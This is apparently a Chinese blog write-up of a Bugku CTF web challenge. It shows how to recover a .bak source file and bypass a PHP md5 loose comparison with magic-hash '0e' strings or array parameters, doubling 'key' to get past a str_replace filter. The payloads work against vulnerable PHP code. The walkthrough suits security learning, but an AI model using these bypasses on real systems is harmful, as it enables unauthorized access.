新bugku web16 备份是个好习惯

备份是个好习惯

  • 常用备份文件后缀:.swp,.bak
  • strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。
  • str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)。
    例:把字符串 “Hello world!” 中的字符 “world” 替换为 “Shanghai”在这里插入图片描述
  • 在PHP中,== 在进行比较的时候,会先将字符串类型转化成相同,再比较。注意,如果比较一个数字和字符串 或者 比较涉及到数字内容的字符串时,则字符串会被转换成数值并按照数值来进行比较。
    举个小例子:
    var_dump('asdas',0); 和 var_dump('0asdas',0); 的结果都是true。

解题:

1.备份是关键字,我们可以用御剑扫扫
得到http://114.67.246.17617674/index.php 打开之后由于题设备份文件,故加上.bak(swp错误),之后得到一个文件,打开之后发现代码

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

2.在这里插入图片描述3.法一:php弱类型比较绕过
科学计数法是 e**** ,要使两个数的值相等,以0e开头的md5值可以绕过限制。
构造payload:?kkeyey1=QNKCDZO&kkeyey2=240610708
法二:漏洞
MD5 加密是对字符串进行加密,那么如果我们传入的不是字符串,而是一个数组,它没法进行加密,返回空,结果就相等了。
构造payload:?kkeyey1[]=1&kkeyey2[]=2

用kkeyey而不用key的原因:

$str = str_replace('key','',$str);即gat到的变量中所有key替换为空格,所以这里要用kkeyey来绕过,使echo md5($key1);

echo md5($key2);能够取值key1与key2。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值